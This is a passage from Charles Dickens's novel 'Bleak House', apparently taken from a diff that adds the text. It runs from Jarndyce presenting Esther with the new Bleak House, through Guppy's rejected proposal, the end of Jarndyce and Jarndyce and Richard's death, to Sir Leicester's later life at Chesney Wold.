+value to us all. When it was decided that he should settle here, it
+came into my head that I might ask his acceptance of some
+unpretending and suitable little place to lay his own head in. I
+therefore caused such a place to be looked out for, and such a place
+was found on very easy terms, and I have been touching it up for him
+and making it habitable. However, when I walked over it the day
+before yesterday and it was reported ready, I found that I was not
+housekeeper enough to know whether things were all as they ought to
+be. So I sent off for the best little housekeeper that could possibly
+be got to come and give me her advice and opinion. And here she is,"
+said my guardian, "laughing and crying both together!"
+
+Because he was so dear, so good, so admirable. I tried to tell him
+what I thought of him, but I could not articulate a word.
+
+"Tut, tut!" said my guardian. "You make too much of it, little woman.
+Why, how you sob, Dame Durden, how you sob!"
+
+"It is with exquisite pleasure, guardian--with a heart full of
+thanks."
+
+"Well, well," said he. "I am delighted that you approve. I thought
+you would. I meant it as a pleasant surprise for the little mistress
+of Bleak House."
+
+I kissed him and dried my eyes. "I know now!" said I. "I have seen
+this in your face a long while."
+
+"No; have you really, my dear?" said he. "What a Dame Durden it is to
+read a face!"
+
+He was so quaintly cheerful that I could not long be otherwise, and
+was almost ashamed of having been otherwise at all. When I went to
+bed, I cried. I am bound to confess that I cried; but I hope it was
+with pleasure, though I am not quite sure it was with pleasure. I
+repeated every word of the letter twice over.
+
+A most beautiful summer morning succeeded, and after breakfast we
+went out arm in arm to see the house of which I was to give my mighty
+housekeeping opinion. We entered a flower-garden by a gate in a side
+wall, of which he had the key, and the first thing I saw was that the
+beds and flowers were all laid out according to the manner of my beds
+and flowers at home.
+
+"You see, my dear," observed my guardian, standing still with a
+delighted face to watch my looks, "knowing there could be no better
+plan, I borrowed yours."
+
+We went on by a pretty little orchard, where the cherries were
+nestling among the green leaves and the shadows of the apple-trees
+were sporting on the grass, to the house itself--a cottage, quite a
+rustic cottage of doll's rooms; but such a lovely place, so tranquil
+and so beautiful, with such a rich and smiling country spread around
+it; with water sparkling away into the distance, here all overhung
+with summer-growth, there turning a humming mill; at its nearest
+point glancing through a meadow by the cheerful town, where
+cricket-players were assembling in bright groups and a flag was
+flying from a white tent that rippled in the sweet west wind. And
+still, as we went through the pretty rooms, out at the little rustic
+verandah doors, and underneath the tiny wooden colonnades garlanded
+with woodbine, jasmine, and honey-suckle, I saw in the papering on
+the walls, in the colours of the furniture, in the arrangement of all
+the pretty objects, MY little tastes and fancies, MY little methods
+and inventions which they used to laugh at while they praised them,
+my odd ways everywhere.
+
+I could not say enough in admiration of what was all so beautiful,
+but one secret doubt arose in my mind when I saw this, I thought, oh,
+would he be the happier for it! Would it not have been better for his
+peace that I should not have been so brought before him? Because
+although I was not what he thought me, still he loved me very dearly,
+and it might remind him mournfully of what be believed he had lost. I
+did not wish him to forget me--perhaps he might not have done so,
+without these aids to his memory--but my way was easier than his, and
+I could have reconciled myself even to that so that he had been the
+happier for it.
+
+"And now, little woman," said my guardian, whom I had never seen so
+proud and joyful as in showing me these things and watching my
+appreciation of them, "now, last of all, for the name of this house."
+
+"What is it called, dear guardian?"
+
+"My child," said he, "come and see,"
+
+He took me to the porch, which he had hitherto avoided, and said,
+pausing before we went out, "My dear child, don't you guess the
+name?"
+
+"No!" said I.
+
+We went out of the porch and he showed me written over it, Bleak
+House.
+
+He led me to a seat among the leaves close by, and sitting down
+beside me and taking my hand in his, spoke to me thus, "My darling
+girl, in what there has been between us, I have, I hope, been really
+solicitous for your happiness. When I wrote you the letter to which
+you brought the answer," smiling as he referred to it, "I had my own
+too much in view; but I had yours too. Whether, under different
+circumstances, I might ever have renewed the old dream I sometimes
+dreamed when you were very young, of making you my wife one day, I
+need not ask myself. I did renew it, and I wrote my letter, and you
+brought your answer. You are following what I say, my child?"
+
+I was cold, and I trembled violently, but not a word he uttered was
+lost. As I sat looking fixedly at him and the sun's rays descended,
+softly shining through the leaves upon his bare head, I felt as if
+the brightness on him must be like the brightness of the angels.
+
+"Hear me, my love, but do not speak. It is for me to speak now. When
+it was that I began to doubt whether what I had done would really
+make you happy is no matter. Woodcourt came home, and I soon had no
+doubt at all."
+
+I clasped him round the neck and hung my head upon his breast and
+wept. "Lie lightly, confidently here, my child," said he, pressing me
+gently to him. "I am your guardian and your father now. Rest
+confidently here."
+
+Soothingly, like the gentle rustling of the leaves; and genially,
+like the ripening weather; and radiantly and beneficently, like the
+sunshine, he went on.
+
+"Understand me, my dear girl. I had no doubt of your being contented
+and happy with me, being so dutiful and so devoted; but I saw with
+whom you would be happier. That I penetrated his secret when Dame
+Durden was blind to it is no wonder, for I knew the good that could
+never change in her better far than she did. Well! I have long been
+in Allan Woodcourt's confidence, although he was not, until
+yesterday, a few hours before you came here, in mine. But I would not
+have my Esther's bright example lost; I would not have a jot of my
+dear girl's virtues unobserved and unhonoured; I would not have her
+admitted on sufferance into the line of Morgan ap-Kerrig, no, not for
+the weight in gold of all the mountains in Wales!"
+
+He stopped to kiss me on the forehead, and I sobbed and wept afresh.
+For I felt as if I could not bear the painful delight of his praise.
+
+"Hush, little woman! Don't cry; this is to be a day of joy. I have
+looked forward to it," he said exultingly, "for months on months! A
+few words more, Dame Trot, and I have said my say. Determined not to
+throw away one atom of my Esther's worth, I took Mrs. Woodcourt into
+a separate confidence. 'Now, madam,' said I, 'I clearly perceive--and
+indeed I know, to boot--that your son loves my ward. I am further
+very sure that my ward loves your son, but will sacrifice her love to
+a sense of duty and affection, and will sacrifice it so completely,
+so entirely, so religiously, that you should never suspect it though
+you watched her night and day.' Then I told her all our
+story--ours--yours and mine. 'Now, madam,' said I, 'come you, knowing
+this, and live with us. Come you, and see my child from hour to hour;
+set what you see against her pedigree, which is this, and this'--for
+I scorned to mince it--'and tell me what is the true legitimacy when
+you shall have quite made up your mind on that subject.' Why, honour
+to her old Welsh blood, my dear," cried my guardian with enthusiasm,
+"I believe the heart it animates beats no less warmly, no less
+admiringly, no less lovingly, towards Dame Durden than my own!"
+
+He tenderly raised my head, and as I clung to him, kissed me in his
+old fatherly way again and again. What a light, now, on the
+protecting manner I had thought about!
+
+"One more last word. When Allan Woodcourt spoke to you, my dear, he
+spoke with my knowledge and consent--but I gave him no encouragement,
+not I, for these surprises were my great reward, and I was too
+miserly to part with a scrap of it. He was to come and tell me all
+that passed, and he did. I have no more to say. My dearest, Allan
+Woodcourt stood beside your father when he lay dead--stood beside
+your mother. This is Bleak House. This day I give this house its
+little mistress; and before God, it is the brightest day in all my
+life!"
+
+He rose and raised me with him. We were no longer alone. My
+husband--I have called him by that name full seven happy years
+now--stood at my side.
+
+"Allan," said my guardian, "take from me a willing gift, the best
+wife that ever man had. What more can I say for you than that I know
+you deserve her! Take with her the little home she brings you. You
+know what she will make it, Allan; you know what she has made its
+namesake. Let me share its felicity sometimes, and what do I
+sacrifice? Nothing, nothing."
+
+He kissed me once again, and now the tears were in his eyes as he
+said more softly, "Esther, my dearest, after so many years, there is
+a kind of parting in this too. I know that my mistake has caused you
+some distress. Forgive your old guardian, in restoring him to his old
+place in your affections; and blot it out of your memory. Allan, take
+my dear."
+
+He moved away from under the green roof of leaves, and stopping in
+the sunlight outside and turning cheerfully towards us, said, "I
+shall be found about here somewhere. It's a west wind, little woman,
+due west! Let no one thank me any more, for I am going to revert to
+my bachelor habits, and if anybody disregards this warning, I'll run
+away and never come back!"
+
+What happiness was ours that day, what joy, what rest, what hope,
+what gratitude, what bliss! We were to be married before the month
+was out, but when we were to come and take possession of our own
+house was to depend on Richard and Ada.
+
+We all three went home together next day. As soon as we arrived in
+town, Allan went straight to see Richard and to carry our joyful news
+to him and my darling. Late as it was, I meant to go to her for a few
+minutes before lying down to sleep, but I went home with my guardian
+first to make his tea for him and to occupy the old chair by his
+side, for I did not like to think of its being empty so soon.
+
+When we came home we found that a young man had called three times in
+the course of that one day to see me and that having been told on the
+occasion of his third call that I was not expected to return before
+ten o'clock at night, he had left word that he would call about then.
+He had left his card three times. Mr. Guppy.
+
+As I naturally speculated on the object of these visits, and as I
+always associated something ludicrous with the visitor, it fell out
+that in laughing about Mr. Guppy I told my guardian of his old
+proposal and his subsequent retraction. "After that," said my
+guardian, "we will certainly receive this hero." So instructions were
+given that Mr. Guppy should be shown in when he came again, and they
+were scarcely given when he did come again.
+
+He was embarrassed when he found my guardian with me, but recovered
+himself and said, "How de do, sir?"
+
+"How do you do, sir?" returned my guardian.
+
+"Thank you, sir, I am tolerable," returned Mr. Guppy. "Will you allow
+me to introduce my mother, Mrs. Guppy of the Old Street Road, and my
+particular friend, Mr. Weevle. That is to say, my friend has gone by
+the name of Weevle, but his name is really and truly Jobling."
+
+My guardian begged them to be seated, and they all sat down.
+
+"Tony," said Mr. Guppy to his friend after an awkward silence. "Will
+you open the case?"
+
+"Do it yourself," returned the friend rather tartly.
+
+"Well, Mr. Jarndyce, sir," Mr. Guppy, after a moment's consideration,
+began, to the great diversion of his mother, which she displayed by
+nudging Mr. Jobling with her elbow and winking at me in a most
+remarkable manner, "I had an idea that I should see Miss Summerson by
+herself and was not quite prepared for your esteemed presence. But
+Miss Summerson has mentioned to you, perhaps, that something has
+passed between us on former occasions?"
+
+"Miss Summerson," returned my guardian, smiling, "has made a
+communication to that effect to me."
+
+"That," said Mr. Guppy, "makes matters easier. Sir, I have come out
+of my articles at Kenge and Carboy's, and I believe with satisfaction
+to all parties. I am now admitted (after undergoing an examination
+that's enough to badger a man blue, touching a pack of nonsense that
+he don't want to know) on the roll of attorneys and have taken out my
+certificate, if it would be any satisfaction to you to see it."
+
+"Thank you, Mr. Guppy," returned my guardian. "I am quite willing--I
+believe I use a legal phrase--to admit the certificate."
+
+Mr. Guppy therefore desisted from taking something out of his pocket
+and proceeded without it.
+
+"I have no capital myself, but my mother has a little property which
+takes the form of an annuity"--here Mr. Guppy's mother rolled her
+head as if she never could sufficiently enjoy the observation, and
+put her handkerchief to her mouth, and again winked at me--"and a few
+pounds for expenses out of pocket in conducting business will never
+be wanting, free of interest, which is an advantage, you know," said
+Mr. Guppy feelingly.
+
+"Certainly an advantage," returned my guardian.
+
+"I HAVE some connexion," pursued Mr. Guppy, "and it lays in the
+direction of Walcot Square, Lambeth. I have therefore taken a 'ouse
+in that locality, which, in the opinion of my friends, is a hollow
+bargain (taxes ridiculous, and use of fixtures included in the rent),
+and intend setting up professionally for myself there forthwith."
+
+Here Mr. Guppy's mother fell into an extraordinary passion of rolling
+her head and smiling waggishly at anybody who would look at her.
+
+"It's a six-roomer, exclusive of kitchens," said Mr. Guppy, "and in
+the opinion of my friends, a commodious tenement. When I mention my
+friends, I refer principally to my friend Jobling, who I believe has
+known me," Mr. Guppy looked at him with a sentimental air, "from
+boyhood's hour."
+
+Mr. Jobling confirmed this with a sliding movement of his legs.
+
+"My friend Jobling will render me his assistance in the capacity of
+clerk and will live in the 'ouse," said Mr. Guppy. "My mother will
+likewise live in the 'ouse when her present quarter in the Old Street
+Road shall have ceased and expired; and consequently there will be no
+want of society. My friend Jobling is naturally aristocratic by
+taste, and besides being acquainted with the movements of the upper
+circles, fully backs me in the intentions I am now developing."
+
+Mr. Jobling said "Certainly" and withdrew a little from the elbow of
+Mr Guppy's mother.
+
+"Now, I have no occasion to mention to you, sir, you being in the
+confidence of Miss Summerson," said Mr. Guppy, "(mother, I wish you'd
+be so good as to keep still), that Miss Summerson's image was
+formerly imprinted on my 'eart and that I made her a proposal of
+marriage."
+
+"That I have heard," returned my guardian.
+
+"Circumstances," pursued Mr. Guppy, "over which I had no control, but
+quite the contrary, weakened the impression of that image for a time.
+At which time Miss Summerson's conduct was highly genteel; I may even
+add, magnanimous."
+
+My guardian patted me on the shoulder and seemed much amused.
+
+"Now, sir," said Mr. Guppy, "I have got into that state of mind
+myself that I wish for a reciprocity of magnanimous behaviour. I wish
+to prove to Miss Summerson that I can rise to a heighth of which
+perhaps she hardly thought me capable. I find that the image which I
+did suppose had been eradicated from my 'eart is NOT eradicated. Its
+influence over me is still tremenjous, and yielding to it, I am
+willing to overlook the circumstances over which none of us have had
+any control and to renew those proposals to Miss Summerson which I
+had the honour to make at a former period. I beg to lay the 'ouse in
+Walcot Square, the business, and myself before Miss Summerson for her
+acceptance."
+
+"Very magnanimous indeed, sir," observed my guardian.
+
+"Well, sir," replied Mr. Guppy with candour, "my wish is to BE
+magnanimous. I do not consider that in making this offer to Miss
+Summerson I am by any means throwing myself away; neither is that the
+opinion of my friends. Still, there are circumstances which I submit
+may be taken into account as a set off against any little drawbacks
+of mine, and so a fair and equitable balance arrived at."
+
+"I take upon myself, sir," said my guardian, laughing as he rang the
+bell, "to reply to your proposals on behalf of Miss Summerson. She is
+very sensible of your handsome intentions, and wishes you good
+evening, and wishes you well."
+
+"Oh!" said Mr. Guppy with a blank look. "Is that tantamount, sir, to
+acceptance, or rejection, or consideration?"
+
+"To decided rejection, if you please," returned my guardian.
+
+Mr. Guppy looked incredulously at his friend, and at his mother, who
+suddenly turned very angry, and at the floor, and at the ceiling.
+
+"Indeed?" said he. "Then, Jobling, if you was the friend you
+represent yourself, I should think you might hand my mother out of
+the gangway instead of allowing her to remain where she ain't
+wanted."
+
+But Mrs. Guppy positively refused to come out of the gangway. She
+wouldn't hear of it. "Why, get along with you," said she to my
+guardian, "what do you mean? Ain't my son good enough for you? You
+ought to be ashamed of yourself. Get out with you!"
+
+"My good lady," returned my guardian, "it is hardly reasonable to ask
+me to get out of my own room."
+
+"I don't care for that," said Mrs. Guppy. "Get out with you. If we
+ain't good enough for you, go and procure somebody that is good
+enough. Go along and find 'em."
+
+I was quite unprepared for the rapid manner in which Mrs. Guppy's
+power of jocularity merged into a power of taking the profoundest
+offence.
+
+"Go along and find somebody that's good enough for you," repeated
+Mrs. Guppy. "Get out!" Nothing seemed to astonish Mr. Guppy's mother
+so much and to make her so very indignant as our not getting out.
+"Why don't you get out?" said Mrs. Guppy. "What are you stopping here
+for?"
+
+"Mother," interposed her son, always getting before her and pushing
+her back with one shoulder as she sidled at my guardian, "WILL you
+hold your tongue?"
+
+"No, William," she returned, "I won't! Not unless he gets out, I
+won't!"
+
+However, Mr. Guppy and Mr. Jobling together closed on Mr. Guppy's
+mother (who began to be quite abusive) and took her, very much
+against her will, downstairs, her voice rising a stair higher every
+time her figure got a stair lower, and insisting that we should
+immediately go and find somebody who was good enough for us, and
+above all things that we should get out.
+
+
+
+
+CHAPTER LXV
+
+Beginning the World
+
+
+The term had commenced, and my guardian found an intimation from Mr.
+Kenge that the cause would come on in two days. As I had sufficient
+hopes of the will to be in a flutter about it, Allan and I agreed to
+go down to the court that morning. Richard was extremely agitated and
+was so weak and low, though his illness was still of the mind, that
+my dear girl indeed had sore occasion to be supported. But she looked
+forward--a very little way now--to the help that was to come to her,
+and never drooped.
+
+It was at Westminster that the cause was to come on. It had come on
+there, I dare say, a hundred times before, but I could not divest
+myself of an idea that it MIGHT lead to some result now. We left home
+directly after breakfast to be at Westminster Hall in good time and
+walked down there through the lively streets--so happily and
+strangely it seemed!--together.
+
+As we were going along, planning what we should do for Richard and
+Ada, I heard somebody calling "Esther! My dear Esther! Esther!" And
+there was Caddy Jellyby, with her head out of the window of a little
+carriage which she hired now to go about in to her pupils (she had so
+many), as if she wanted to embrace me at a hundred yards' distance. I
+had written her a note to tell her of all that my guardian had done,
+but had not had a moment to go and see her. Of course we turned back,
+and the affectionate girl was in that state of rapture, and was so
+overjoyed to talk about the night when she brought me the flowers,
+and was so determined to squeeze my face (bonnet and all) between her
+hands, and go on in a wild manner altogether, calling me all kinds of
+precious names, and telling Allan I had done I don't know what for
+her, that I was just obliged to get into the little carriage and calm
+her down by letting her say and do exactly what she liked. Allan,
+standing at the window, was as pleased as Caddy; and I was as pleased
+as either of them; and I wonder that I got away as I did, rather than
+that I came off laughing, and red, and anything but tidy, and looking
+after Caddy, who looked after us out of the coach-window as long as
+she could see us.
+
+This made us some quarter of an hour late, and when we came to
+Westminster Hall we found that the day's business was begun. Worse
+than that, we found such an unusual crowd in the Court of Chancery
+that it was full to the door, and we could neither see nor hear what
+was passing within. It appeared to be something droll, for
+occasionally there was a laugh and a cry of "Silence!" It appeared to
+be something interesting, for every one was pushing and striving to
+get nearer. It appeared to be something that made the professional
+gentlemen very merry, for there were several young counsellors in
+wigs and whiskers on the outside of the crowd, and when one of them
+told the others about it, they put their hands in their pockets, and
+quite doubled themselves up with laughter, and went stamping about
+the pavement of the Hall.
+
+We asked a gentleman by us if he knew what cause was on. He told us
+Jarndyce and Jarndyce. We asked him if he knew what was doing in it.
+He said really, no he did not, nobody ever did, but as well as he
+could make out, it was over. Over for the day? we asked him. No, he
+said, over for good.
+
+Over for good!
+
+When we heard this unaccountable answer, we looked at one another
+quite lost in amazement. Could it be possible that the will had set
+things right at last and that Richard and Ada were going to be rich?
+It seemed too good to be true. Alas it was!
+
+Our suspense was short, for a break-up soon took place in the crowd,
+and the people came streaming out looking flushed and hot and
+bringing a quantity of bad air with them. Still they were all
+exceedingly amused and were more like people coming out from a farce
+or a juggler than from a court of justice. We stood aside, watching
+for any countenance we knew, and presently great bundles of paper
+began to be carried out--bundles in bags, bundles too large to be got
+into any bags, immense masses of papers of all shapes and no shapes,
+which the bearers staggered under, and threw down for the time being,
+anyhow, on the Hall pavement, while they went back to bring out more.
+Even these clerks were laughing. We glanced at the papers, and seeing
+Jarndyce and Jarndyce everywhere, asked an official-looking person
+who was standing in the midst of them whether the cause was over.
+Yes, he said, it was all up with it at last, and burst out laughing
+too.
+
+At this juncture we perceived Mr. Kenge coming out of court with an
+affable dignity upon him, listening to Mr. Vholes, who was
+deferential and carried his own bag. Mr. Vholes was the first to see
+us. "Here is Miss Summerson, sir," he said. "And Mr. Woodcourt."
+
+"Oh, indeed! Yes. Truly!" said Mr. Kenge, raising his hat to me with
+polished politeness. "How do you do? Glad to see you. Mr. Jarndyce is
+not here?"
+
+No. He never came there, I reminded him.
+
+"Really," returned Mr. Kenge, "it is as well that he is NOT here
+to-day, for his--shall I say, in my good friend's absence, his
+indomitable singularity of opinion?--might have been strengthened,
+perhaps; not reasonably, but might have been strengthened."
+
+"Pray what has been done to-day?" asked Allan.
+
+"I beg your pardon?" said Mr. Kenge with excessive urbanity.
+
+"What has been done to-day?"
+
+"What has been done," repeated Mr. Kenge. "Quite so. Yes. Why, not
+much has been done; not much. We have been checked--brought up
+suddenly, I would say--upon the--shall I term it threshold?"
+
+"Is this will considered a genuine document, sir?" said Allan. "Will
+you tell us that?"
+
+"Most certainly, if I could," said Mr. Kenge; "but we have not gone
+into that, we have not gone into that."
+
+"We have not gone into that," repeated Mr. Vholes as if his low
+inward voice were an echo.
+
+"You are to reflect, Mr. Woodcourt," observed Mr. Kenge, using his
+silver trowel persuasively and smoothingly, "that this has been a
+great cause, that this has been a protracted cause, that this has
+been a complex cause. Jarndyce and Jarndyce has been termed, not
+inaptly, a monument of Chancery practice."
+
+"And patience has sat upon it a long time," said Allan.
+
+"Very well indeed, sir," returned Mr. Kenge with a certain
+condescending laugh he had. "Very well! You are further to reflect,
+Mr. Woodcourt," becoming dignified almost to severity, "that on the
+numerous difficulties, contingencies, masterly fictions, and forms of
+procedure in this great cause, there has been expended study,
+ability, eloquence, knowledge, intellect, Mr. Woodcourt, high
+intellect. For many years, the--a--I would say the flower of the bar,
+and the--a--I would presume to add, the matured autumnal fruits of
+the woolsack--have been lavished upon Jarndyce and Jarndyce. If the
+public have the benefit, and if the country have the adornment, of
+this great grasp, it must be paid for in money or money's worth,
+sir."
+
+"Mr. Kenge," said Allan, appearing enlightened all in a moment.
+"Excuse me, our time presses. Do I understand that the whole estate
+is found to have been absorbed in costs?"
+
+"Hem! I believe so," returned Mr. Kenge. "Mr. Vholes, what do YOU
+say?"
+
+"I believe so," said Mr. Vholes.
+
+"And that thus the suit lapses and melts away?"
+
+"Probably," returned Mr. Kenge. "Mr. Vholes?"
+
+"Probably," said Mr. Vholes.
+
+"My dearest life," whispered Allan, "this will break Richard's
+heart!"
+
+There was such a shock of apprehension in his face, and he knew
+Richard so perfectly, and I too had seen so much of his gradual
+decay, that what my dear girl had said to me in the fullness of her
+foreboding love sounded like a knell in my ears.
+
+"In case you should be wanting Mr. C., sir," said Mr. Vholes, coming
+after us, "you'll find him in court. I left him there resting himself
+a little. Good day, sir; good day, Miss Summerson." As he gave me
+that slowly devouring look of his, while twisting up the strings of
+his bag before he hastened with it after Mr. Kenge, the benignant
+shadow of whose conversational presence he seemed afraid to leave, he
+gave one gasp as if he had swallowed the last morsel of his client,
+and his black buttoned-up unwholesome figure glided away to the low
+door at the end of the Hall.
+
+"My dear love," said Allan, "leave to me, for a little while, the
+charge you gave me. Go home with this intelligence and come to Ada's
+by and by!"
+
+I would not let him take me to a coach, but entreated him to go to
+Richard without a moment's delay and leave me to do as he wished.
+Hurrying home, I found my guardian and told him gradually with what
+news I had returned. "Little woman," said he, quite unmoved for
+himself, "to have done with the suit on any terms is a greater
+blessing than I had looked for. But my poor young cousins!"
+
+We talked about them all the morning and discussed what it was
+possible to do. In the afternoon my guardian walked with me to
+Symond's Inn and left me at the door. I went upstairs. When my
+darling heard my footsteps, she came out into the small passage and
+threw her arms round my neck, but she composed herself directly and
+said that Richard had asked for me several times. Allan had found him
+sitting in the corner of the court, she told me, like a stone figure.
+On being roused, he had broken away and made as if he would have
+spoken in a fierce voice to the judge. He was stopped by his mouth
+being full of blood, and Allan had brought him home.
+
+He was lying on a sofa with his eyes closed when I went in. There
+were restoratives on the table; the room was made as airy as
+possible, and was darkened, and was very orderly and quiet. Allan
+stood behind him watching him gravely. His face appeared to me to be
+quite destitute of colour, and now that I saw him without his seeing
+me, I fully saw, for the first time, how worn away he was. But he
+looked handsomer than I had seen him look for many a day.
+
+I sat down by his side in silence. Opening his eyes by and by, he
+said in a weak voice, but with his old smile, "Dame Durden, kiss me,
+my dear!"
+
+It was a great comfort and surprise to me to find him in his low
+state cheerful and looking forward. He was happier, he said, in our
+intended marriage than he could find words to tell me. My husband had
+been a guardian angel to him and Ada, and he blessed us both and
+wished us all the joy that life could yield us. I almost felt as if
+my own heart would have broken when I saw him take my husband's hand
+and hold it to his breast.
+
+We spoke of the future as much as possible, and he said several times
+that he must be present at our marriage if he could stand upon his
+feet. Ada would contrive to take him, somehow, he said. "Yes, surely,
+dearest Richard!" But as my darling answered him thus hopefully, so
+serene and beautiful, with the help that was to come to her so
+near--I knew--I knew!
+
+It was not good for him to talk too much, and when he was silent, we
+were silent too. Sitting beside him, I made a pretence of working for
+my dear, as he had always been used to joke about my being busy. Ada
+leaned upon his pillow, holding his head upon her arm. He dozed
+often, and whenever he awoke without seeing him, said first of all,
+"Where is Woodcourt?"
+
+Evening had come on when I lifted up my eyes and saw my guardian
+standing in the little hall. "Who is that, Dame Durden?" Richard
+asked me. The door was behind him, but he had observed in my face
+that some one was there.
+
+I looked to Allan for advice, and as he nodded "Yes," bent over
+Richard and told him. My guardian saw what passed, came softly by me
+in a moment, and laid his hand on Richard's. "Oh, sir," said Richard,
+"you are a good man, you are a good man!" and burst into tears for
+the first time.
+
+My guardian, the picture of a good man, sat down in my place, keeping
+his hand on Richard's.
+
+"My dear Rick," said he, "the clouds have cleared away, and it is
+bright now. We can see now. We were all bewildered, Rick, more or
+less. What matters! And how are you, my dear boy?"
+
+"I am very weak, sir, but I hope I shall be stronger. I have to begin
+the world."
+
+"Aye, truly; well said!" cried my guardian.
+
+"I will not begin it in the old way now," said Richard with a sad
+smile. "I have learned a lesson now, sir. It was a hard one, but you
+shall be assured, indeed, that I have learned it."
+
+"Well, well," said my guardian, comforting him; "well, well, well,
+dear boy!"
+
+"I was thinking, sir," resumed Richard, "that there is nothing on
+earth I should so much like to see as their house--Dame Durden's and
+Woodcourt's house. If I could be removed there when I begin to
+recover my strength, I feel as if I should get well there sooner than
+anywhere."
+
+"Why, so have I been thinking too, Rick," said my guardian, "and our
+little woman likewise; she and I have been talking of it this very
+day. I dare say her husband won't object. What do you think?"
+
+Richard smiled and lifted up his arm to touch him as he stood behind
+the head of the couch.
+
+"I say nothing of Ada," said Richard, "but I think of her, and have
+thought of her very much. Look at her! See her here, sir, bending
+over this pillow when she has so much need to rest upon it herself,
+my dear love, my poor girl!"
+
+He clasped her in his arms, and none of us spoke. He gradually
+released her, and she looked upon us, and looked up to heaven, and
+moved her lips.
+
+"When I get down to Bleak House," said Richard, "I shall have much to
+tell you, sir, and you will have much to show me. You will go, won't
+you?"
+
+"Undoubtedly, dear Rick."
+
+"Thank you; like you, like you," said Richard. "But it's all like
+you. They have been telling me how you planned it and how you
+remembered all Esther's familiar tastes and ways. It will be like
+coming to the old Bleak House again."
+
+"And you will come there too, I hope, Rick. I am a solitary man now,
+you know, and it will be a charity to come to me. A charity to come
+to me, my love!" he repeated to Ada as he gently passed his hand over
+her golden hair and put a lock of it to his lips. (I think he vowed
+within himself to cherish her if she were left alone.)
+
+"It was a troubled dream?" said Richard, clasping both my guardian's
+hands eagerly.
+
+"Nothing more, Rick; nothing more."
+
+"And you, being a good man, can pass it as such, and forgive and pity
+the dreamer, and be lenient and encouraging when he wakes?"
+
+"Indeed I can. What am I but another dreamer, Rick?"
+
+"I will begin the world!" said Richard with a light in his eyes.
+
+My husband drew a little nearer towards Ada, and I saw him solemnly
+lift up his hand to warn my guardian.
+
+"When shall I go from this place to that pleasant country where the
+old times are, where I shall have strength to tell what Ada has been
+to me, where I shall be able to recall my many faults and
+blindnesses, where I shall prepare myself to be a guide to my unborn
+child?" said Richard. "When shall I go?"
+
+"Dear Rick, when you are strong enough," returned my guardian.
+
+"Ada, my darling!"
+
+He sought to raise himself a little. Allan raised him so that she
+could hold him on her bosom, which was what he wanted.
+
+"I have done you many wrongs, my own. I have fallen like a poor stray
+shadow on your way, I have married you to poverty and trouble, I have
+scattered your means to the winds. You will forgive me all this, my
+Ada, before I begin the world?"
+
+A smile irradiated his face as she bent to kiss him. He slowly laid
+his face down upon her bosom, drew his arms closer round her neck,
+and with one parting sob began the world. Not this world, oh, not
+this! The world that sets this right.
+
+When all was still, at a late hour, poor crazed Miss Flite came
+weeping to me and told me she had given her birds their liberty.
+
+
+
+
+CHAPTER LXVI
+
+Down in Lincolnshire
+
+
+There is a hush upon Chesney Wold in these altered days, as there is
+upon a portion of the family history. The story goes that Sir
+Leicester paid some who could have spoken out to hold their peace;
+but it is a lame story, feebly whispering and creeping about, and any
+brighter spark of life it shows soon dies away. It is known for
+certain that the handsome Lady Dedlock lies in the mausoleum in the
+park, where the trees arch darkly overhead, and the owl is heard at
+night making the woods ring; but whence she was brought home to be
+laid among the echoes of that solitary place, or how she died, is all
+mystery. Some of her old friends, principally to be found among the
+peachy-cheeked charmers with the skeleton throats, did once
+occasionally say, as they toyed in a ghastly manner with large
+fans--like charmers reduced to flirting with grim death, after losing
+all their other beaux--did once occasionally say, when the world
+assembled together, that they wondered the ashes of the Dedlocks,
+entombed in the mausoleum, never rose against the profanation of her
+company. But the dead-and-gone Dedlocks take it very calmly and have
+never been known to object.
+
+Up from among the fern in the hollow, and winding by the bridle-road
+among the trees, comes sometimes to this lonely spot the sound of
+horses' hoofs. Then may be seen Sir Leicester--invalided, bent, and
+almost blind, but of worthy presence yet--riding with a stalwart man
+beside him, constant to his bridle-rein. When they come to a certain
+spot before the mausoleum-door, Sir Leicester's accustomed horse
+stops of his own accord, and Sir Leicester, pulling off his hat, is
+still for a few moments before they ride away.
+
+War rages yet with the audacious Boythorn, though at uncertain
+intervals, and now hotly, and now coolly, flickering like an unsteady
+fire. The truth is said to be that when Sir Leicester came down to
+Lincolnshire for good, Mr. Boythorn showed a manifest desire to
+abandon his right of way and do whatever Sir Leicester would, which
+Sir Leicester, conceiving to be a condescension to his illness or
+misfortune, took in such high dudgeon, and was so magnificently
+aggrieved by, that Mr. Boythorn found himself under the necessity of
+committing a flagrant trespass to restore his neighbour to himself.
+Similarly, Mr. Boythorn continues to post tremendous placards on the
+disputed thoroughfare and (with his bird upon his head) to hold forth
+vehemently against Sir Leicester in the sanctuary of his own home;
+similarly, also, he defies him as of old in the little church by
+testifying a bland unconsciousness of his existence. But it is
+whispered that when he is most ferocious towards his old foe, he is
+really most considerate, and that Sir Leicester, in the dignity of
+being implacable, little supposes how much he is humoured. As little
+does he think how near together he and his antagonist have suffered
+in the fortunes of two sisters, and his antagonist, who knows it now,
+is not the man to tell him. So the quarrel goes on to the
+satisfaction of both.
+
+In one of the lodges of the park--that lodge within sight of the
+house where, once upon a time, when the waters were out down in
+Lincolnshire, my Lady used to see the keeper's child--the stalwart
+man, the trooper formerly, is housed. Some relics of his old calling
+hang upon the walls, and these it is the chosen recreation of a
+little lame man about the stable-yard to keep gleaming bright. A busy
+little man he always is, in the polishing at harness-house doors, of
+stirrup-irons, bits, curb-chains, harness bosses, anything in the way
+of a stable-yard that will take a polish, leading a life of friction.
+A shaggy little damaged man, withal, not unlike an old dog of some
+mongrel breed, who has been considerably knocked about. He answers to
+the name of Phil.
+
+A goodly sight it is to see the grand old housekeeper (harder of
+hearing now) going to church on the arm of her son and to
+observe--which few do, for the house is scant of company in these
+times--the relations of both towards Sir Leicester, and his towards
+them. They have visitors in the high summer weather, when a grey
+cloak and umbrella, unknown to Chesney Wold at other periods, are
+seen among the leaves; when two young ladies are occasionally found
+gambolling in sequestered saw-pits and such nooks of the park; and
+when the smoke of two pipes wreathes away into the fragrant evening
+air from the trooper's door. Then is a fife heard trolling within the
+lodge on the inspiring topic of the "British Grenadiers"; and as the
+evening closes in, a gruff inflexible voice is heard to say, while
+two men pace together up and down, "But I never own to it before the
+old girl. Discipline must be maintained."
+
+The greater part of the house is shut up, and it is a show-house no
+longer; yet Sir Leicester holds his shrunken state in the long
+drawing-room for all that, and reposes in his old place before my
+Lady's picture. Closed in by night with broad screens, and illumined
+only in that part, the light of the drawing-room seems gradually
+contracting and dwindling until it shall be no more. A little more,
+in truth, and it will be all extinguished for Sir Leicester; and the
